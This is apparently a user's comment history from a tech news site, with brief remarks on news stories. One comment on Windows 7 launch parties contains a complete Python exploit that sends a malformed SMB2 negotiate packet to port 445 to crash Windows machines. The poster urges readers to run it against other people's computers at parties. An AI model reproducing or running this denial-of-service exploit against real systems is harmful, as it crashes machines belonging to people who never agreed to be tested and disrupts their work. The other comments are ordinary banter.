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Volcano Near Mexico City Becomes More Active

omar_armas Mayas training (114 comments)

The Mayas are training for Dec. 2012.

more than 2 years ago
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Looking For iPad, Police Find 750 Pounds of Meth

omar_armas heisenbergh (195 comments)

Heisenbergh would be very upset!

more than 2 years ago
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Microsoft Releases Internet Explorer 9 RC

omar_armas upgrading explorer (229 comments)

Upgrading Microsoft Internet Explorer is a pain. IE6, 7 and 8 are completely different products.
Why I could never upgrading a complete operating system convert my IE6 to IE7 or 8? You had to install them independently.
That only speaks of a poor strategy and product, a complete shame.

Oh, and at work we have providers who developed extranets using Microsoft technologies that worked in IE 7, but then came IE8 and they are incompatible. Microsoft is incompatible with themselves.

I only lament that because of my work I have to support the Explorer navigator, the worst experience.

Omar

more than 3 years ago
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Mainstream Press "Cringes" At Win7 Launch Parties

omar_armas testing windows 7 (830 comments)

If I buy, let's say, a t-shirt, I expect it to be defects free, otherwise, I'd not buy it or would have it changed.
So, is Windows 7 defect free?

Let's see, just try this script in the party to check if Windows 7 is a good new product, the parameter is the ip of the happy windows 7:
(adapted from http://seclists.org/fulldisclosure/2009/Sep/0039.html )

------begin---------
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
import socket
import sys

ip = sys.argv[1]
host = ip, 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"

)

sock = socket.socket()
sock.connect(host)
sock.send(buff)
print sock.recv(8192)
sock.close()
</pre>

If the script works, vista dies and it means Microsoft has again released a brand new product with an important bug.
Please, it's time to ask Microsoft to release secure products. Believe it or not, I plan to use Windows 7 at some point and want it to be a good O.S.

Omar

PS. The script was tested on MacOS 10.6, but should work on Linux too.

more than 4 years ago
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Artificial Brain '10 Years Away'

omar_armas Mind and soul (539 comments)

Would it have mind and soul? Omar

more than 5 years ago
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WHO Raises Swine Flu Threat Level

omar_armas Re:Please let it be!! (557 comments)

In fact the virus has genes from Asia, Europe and North America, so we should call it "global flu". Omar

more than 5 years ago

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Apple has lost a trial for the name iFone in México

omar_armas omar_armas writes  |  about 2 years ago

omar_armas writes "The mexican company iFone registered its trademark in 2003 and offers call center services. In 2009 Apple asked the Instituto Mexicano de la Propiedad Intelectual(IMPI) to ban the name given the similarity to the iPhone brand. The judge has rule in favor of iFone and now Apple should face a fine and a iFone is expected to ask for damages in court."
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